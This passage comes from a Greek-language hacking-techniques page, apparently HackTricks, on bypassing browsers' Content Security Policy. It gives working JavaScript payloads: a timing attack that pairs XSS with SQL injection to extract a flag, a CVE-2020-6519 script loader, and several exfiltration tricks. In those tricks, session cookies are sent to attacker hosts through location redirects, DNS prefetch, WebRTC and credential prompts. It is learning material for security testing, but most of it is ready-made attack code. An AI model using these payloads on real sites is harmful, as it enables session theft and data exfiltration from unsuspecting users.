Μπορείτε να βρείτε ένα παράδειγμα εδώ: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Στο Edge είναι πολύ πιο απλό. Αν μπορείτε να προσθέσετε στο CSP απλά αυτό: ;_ Edge θα απορρίψει ολόκληρη την πολιτική.
Παράδειγμα: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; μέσω XSS (iframe) - Επίθεση χρόνου

Προσέξτε την έλλειψη της οδηγίας 'unsafe-inline'
Αυτή τη φορά μπορείτε να κάνετε το θύμα να φορτώσει μια σελίδα υπό τον έλεγχό σας μέσω XSS με ένα <iframe. Αυτή τη φορά θα κάνετε το θύμα να έχει πρόσβαση στη σελίδα από όπου θέλετε να εξάγετε πληροφορίες (CSRF). Δεν μπορείτε να έχετε πρόσβαση στο περιεχόμενο της σελίδας, αλλά αν με κάποιο τρόπο μπορείτε να ελέγξετε τον χρόνο που χρειάζεται η σελίδα για να φορτώσει μπορείτε να εξάγετε τις πληροφορίες που χρειάζεστε.

Αυτή τη φορά μια σημαία θα εξαχθεί, όποτε μια χαρακτήρας μαντεύεται σωστά μέσω SQLi η απάντηση χρειάζεται περισσότερο χρόνο λόγω της λειτουργίας ύπνου. Στη συνέχεια, θα είστε σε θέση να εξάγετε τη σημαία:

html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Via Bookmarklets

Αυτή η επίθεση θα περιλάμβανε κάποια κοινωνική μηχανική όπου ο επιτιθέμενος πείθει τον χρήστη να σύρει και να αποθέσει έναν σύνδεσμο πάνω στο bookmarklet του προγράμματος περιήγησης. Αυτό το bookmarklet θα περιέχει κακόβουλο javascript κώδικα που όταν σύρεται και αποτίθεται ή κάνετε κλικ θα εκτελείται στο πλαίσιο του τρέχοντος παραθύρου ιστού, παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών όπως cookies ή tokens.

Για περισσότερες πληροφορίες ελέγξτε την αρχική αναφορά εδώ.

CSP bypass by restricting CSP

Στο αυτή την αναφορά CTF, το CSP παρακάμπτεται με την εισαγωγή μέσα σε ένα επιτρεπόμενο iframe ενός πιο περιοριστικού CSP που απαγόρευε τη φόρτωση ενός συγκεκριμένου αρχείου JS που, στη συνέχεια, μέσω prototype pollution ή dom clobbering επέτρεπε να καταχραστεί μια διαφορετική σκριπτάρα για να φορτώσει μια αυθαίρετη σκριπτάρα.

Μπορείτε να περιορίσετε ένα CSP ενός Iframe με το csp χαρακτηριστικό:

html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

Στο αυτό το CTF writeup, ήταν δυνατό μέσω HTML injection να περιοριστεί περισσότερο μια CSP έτσι ώστε ένα σενάριο που προλαμβάνει το CSTI να απενεργοποιηθεί και επομένως η ευπάθεια έγινε εκμεταλλεύσιμη.
Η CSP μπορεί να γίνει πιο περιοριστική χρησιμοποιώντας HTML meta tags και τα inline scripts μπορούν να απενεργοποιηθούν αφαιρώντας την είσοδο που επιτρέπει το nonce τους και ενεργοποιώντας συγκεκριμένο inline script μέσω sha:

html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

JS exfiltration with Content-Security-Policy-Report-Only

Αν μπορέσετε να κάνετε τον διακομιστή να απαντήσει με την κεφαλίδα Content-Security-Policy-Report-Only με μια τιμή που ελέγχετε εσείς (ίσως λόγω ενός CRLF), θα μπορούσατε να το κατευθύνετε στον διακομιστή σας και αν τυλίξετε το JS περιεχόμενο που θέλετε να εξάγετε με <script> και επειδή είναι πολύ πιθανό ότι το unsafe-inline δεν επιτρέπεται από την CSP, αυτό θα προκαλέσει ένα σφάλμα CSP και μέρος του script (που περιέχει τις ευαίσθητες πληροφορίες) θα σταλεί στον διακομιστή από το Content-Security-Policy-Report-Only.

Για ένα παράδειγμα δείτε αυτή την αναφορά CTF.

CVE-2020-6519

javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

Διαρροή Πληροφοριών με CSP και Iframe

  • Ένα iframe δημιουργείται που δείχνει σε μια διεύθυνση URL (ας την ονομάσουμε https://example.redirect.com) η οποία επιτρέπεται από το CSP.
  • Αυτή η διεύθυνση URL στη συνέχεια ανακατευθύνει σε μια μυστική διεύθυνση URL (π.χ., https://usersecret.example2.com) που δεν επιτρέπεται από το CSP.
  • Ακούγοντας το γεγονός securitypolicyviolation, μπορεί κανείς να συλλάβει την ιδιότητα blockedURI. Αυτή η ιδιότητα αποκαλύπτει το domain της μπλοκαρισμένης URI, διαρρέοντας το μυστικό domain στο οποίο ανακατευθύνθηκε η αρχική διεύθυνση URL.

Είναι ενδιαφέρον να σημειωθεί ότι οι περιηγητές όπως ο Chrome και ο Firefox έχουν διαφορετικές συμπεριφορές στη διαχείριση των iframes σε σχέση με το CSP, οδηγώντας σε πιθανή διαρροή ευαίσθητων πληροφοριών λόγω μη καθορισμένης συμπεριφοράς.

Μια άλλη τεχνική περιλαμβάνει την εκμετάλλευση του CSP αυτού καθαυτού για να συμπεράνουμε το μυστικό υποdomain. Αυτή η μέθοδος βασίζεται σε έναν αλγόριθμο δυαδικής αναζήτησης και στην προσαρμογή του CSP για να περιλαμβάνει συγκεκριμένα domains που είναι σκόπιμα μπλοκαρισμένα. Για παράδειγμα, αν το μυστικό υποdomain αποτελείται από άγνωστους χαρακτήρες, μπορείτε να δοκιμάσετε επαναληπτικά διαφορετικά υποdomains τροποποιώντας την οδηγία CSP για να μπλοκάρετε ή να επιτρέψετε αυτά τα υποdomains. Ακολουθεί ένα απόσπασμα που δείχνει πώς μπορεί να ρυθμιστεί το CSP για να διευκολύνει αυτή τη μέθοδο:

markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Με την παρακολούθηση των αιτημάτων που αποκλείονται ή επιτρέπονται από το CSP, μπορεί κανείς να περιορίσει τους πιθανούς χαρακτήρες στο μυστικό υποτομέα, αποκαλύπτοντας τελικά το πλήρες URL.

Και οι δύο μέθοδοι εκμεταλλεύονται τις λεπτομέρειες της υλοποίησης και της συμπεριφοράς του CSP στους περιηγητές, δείχνοντας πώς οι φαινομενικά ασφαλείς πολιτικές μπορούν ακούσια να διαρρεύσουν ευαίσθητες πληροφορίες.

Trick from here.

Unsafe Technologies to Bypass CSP

PHP Errors when too many params

Σύμφωνα με την τελευταία τεχνική που σχολιάστηκε σε αυτό το βίντεο, η αποστολή πάρα πολλών παραμέτρων (1001 GET παραμέτρων αν και μπορείτε επίσης να το κάνετε με POST παραμέτρους και περισσότερα από 20 αρχεία). Οποιαδήποτε καθορισμένη header() στον PHP web κώδικα δεν θα σταλεί λόγω του σφάλματος που θα προκαλέσει αυτό.

PHP response buffer overload

Η PHP είναι γνωστή για την αποθήκευση της απόκρισης σε 4096 bytes από προεπιλογή. Επομένως, αν η PHP εμφανίζει προειδοποίηση, παρέχοντας αρκετά δεδομένα μέσα στις προειδοποιήσεις, η απόκριση θα σταλεί πριν από την κεφαλίδα CSP, προκαλώντας την κεφαλίδα να αγνοηθεί.
Στη συνέχεια, η τεχνική συνίσταται βασικά στο να γεμίσετε το buffer απόκρισης με προειδοποιήσεις ώστε η κεφαλίδα CSP να μην σταλεί.

Idea from this writeup.

Rewrite Error Page

Από αυτή τη γραφή φαίνεται ότι ήταν δυνατό να παρακαμφθεί μια προστασία CSP φορτώνοντας μια σελίδα σφάλματος (πιθανώς χωρίς CSP) και επαναγράφοντας το περιεχόμενό της.

javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + 'self' + wordpress

SOME είναι μια τεχνική που εκμεταλλεύεται ένα XSS (ή πολύ περιορισμένο XSS) σε ένα endpoint μιας σελίδας για να εκμεταλλευτεί άλλα endpoints της ίδιας προέλευσης. Αυτό γίνεται φορτώνοντας το ευάλωτο endpoint από μια σελίδα επιτιθέμενου και στη συνέχεια ανανεώνοντας τη σελίδα του επιτιθέμενου στο πραγματικό endpoint στην ίδια προέλευση που θέλετε να εκμεταλλευτείτε. Με αυτόν τον τρόπο το ευάλωτο endpoint μπορεί να χρησιμοποιήσει το opener αντικείμενο στο payload για να πρόσβαση στο DOM του πραγματικού endpoint προς εκμετάλλευση. Για περισσότερες πληροφορίες δείτε:

SOME - Same Origin Method Execution

Επιπλέον, το wordpress έχει ένα JSONP endpoint στο /wp-json/wp/v2/users/1?_jsonp=data που θα αντανακλά τα δεδομένα που αποστέλλονται στην έξοδο (με τον περιορισμό μόνο σε γράμματα, αριθμούς και τελείες).

Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό το endpoint για να δημιουργήσει μια επίθεση SOME κατά του WordPress και να ενσωματώσει το μέσα σε <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> σημειώστε ότι αυτό το script θα φορτωθεί επειδή είναι επιτρεπτό από 'self'. Επιπλέον, και επειδή το WordPress είναι εγκατεστημένο, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί την επίθεση SOME μέσω του ευάλωτου callback endpoint που παρακάμπτει το CSP για να δώσει περισσότερα προνόμια σε έναν χρήστη, να εγκαταστήσει ένα νέο plugin...
Για περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτήν την επίθεση δείτε https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

Αν υπάρχει ένα αυστηρό CSP που δεν σας επιτρέπει να αλληλεπιδράσετε με εξωτερικούς διακομιστές, υπάρχουν μερικά πράγματα που μπορείτε πάντα να κάνετε για να εξάγετε τις πληροφορίες.

Location

Μπορείτε απλώς να ενημερώσετε την τοποθεσία για να στείλετε στον διακομιστή του επιτιθέμενου τις μυστικές πληροφορίες:

javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Meta tag

Μπορείτε να ανακατευθύνετε εισάγοντας μια ετικέτα meta (αυτή είναι απλώς μια ανακατεύθυνση, δεν θα διαρρεύσει περιεχόμενο)

html
<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

Για να φορτώνουν οι σελίδες πιο γρήγορα, οι φυλλομετρητές θα προ-λύσουν ονόματα κεντρικών υπολογιστών σε διευθύνσεις IP και θα τα αποθηκεύσουν στην κρυφή μνήμη για μελλοντική χρήση.
Μπορείτε να υποδείξετε σε έναν φυλλομετρητή να προ-λύσει ένα όνομα κεντρικού υπολογιστή με: <link rel="dns-prefetch" href="something.com">

Μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να εξάγετε ευαίσθητες πληροφορίες μέσω DNS αιτημάτων:

javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

Άλλος τρόπος:

javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

Για να αποφευχθεί αυτό, ο διακομιστής μπορεί να στείλει την κεφαλίδα HTTP:

X-DNS-Prefetch-Control: off

note

Προφανώς, αυτή η τεχνική δεν λειτουργεί σε headless browsers (bots)

WebRTC

Σε πολλές σελίδες μπορείτε να διαβάσετε ότι το WebRTC δεν ελέγχει την πολιτική connect-src του CSP.

Στην πραγματικότητα, μπορείτε να leak πληροφορίες χρησιμοποιώντας ένα DNS request. Δείτε αυτόν τον κώδικα:

javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

Μια άλλη επιλογή:

javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

Η αναδυόμενη ειδοποίηση διαπιστευτηρίων στέλνει ένα αίτημα DNS στο iconURL χωρίς να περιορίζεται από τη σελίδα. Λειτουργεί μόνο σε ασφαλές περιβάλλον (HTTPS) ή σε localhost.

javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

Έλεγχος Πολιτικών CSP Online

Αυτόματη Δημιουργία CSP

https://csper.io/docs/generating-content-security-policy

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks